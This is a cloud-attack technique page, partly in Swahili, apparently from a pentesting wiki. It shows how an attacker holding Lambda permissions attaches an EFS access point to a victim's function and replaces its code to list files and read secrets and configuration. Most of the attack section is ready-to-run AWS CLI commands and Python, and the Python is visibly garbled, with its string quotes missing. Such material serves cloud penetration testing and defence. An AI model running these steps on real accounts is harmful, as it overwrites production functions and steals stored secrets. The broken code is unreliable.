# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Uibi wa Data)

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Tumia vibaya `lambda:UpdateFunctionConfiguration` kuambatanisha EFS Access Point iliyopo kwenye Lambda, kisha weka code rahisi inayoorodhesha/inasoma files kutoka kwenye path iliyopachikwa ili exfiltrate shared secrets/config ambayo function haikuweza kufikia kabla.

## Requirements
- Permissions on the victim account/principal:
- `lambda:GetFunctionConfiguration`
- `lambda:ListFunctions` (to find functions)
- `lambda:UpdateFunctionConfiguration`
- `lambda:UpdateFunctionCode`
- `lambda:InvokeFunction`
- `efs:DescribeMountTargets` (to confirm mount targets exist)
- Environment assumptions:
- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.

## Attack
- Variables
```
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
```
1) Ambatanisha EFS Access Point kwa Lambda
```
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
2) Andika upya code kwa kisomaji rahisi kinachoorodhesha faili na kuangalia (peek) bytes 200 za mwanzo za faili inayoweza kuwa secret/config.
```
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
```
3) Iitisha na upate data
```
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json
```
Matokeo yanapaswa kujumuisha orodha ya saraka chini ya /mnt/ht na onyesho fupi la faili ya siri/usanidi iliyochaguliwa kutoka EFS.

## Athari
Mshambuliaji mwenye ruhusa zilizoorodheshwa anaweza ku-mount EFS Access Points yoyote ndani ya in-VPC katika Lambda functions za mwathiriwa ili kusoma na kupeleka nje usanidi uliohifadhiwa pamoja na siri kwenye EFS ambazo hapo awali zilikuwa hazipatikani kwa function hiyo.

## Usafishaji
```
aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
```
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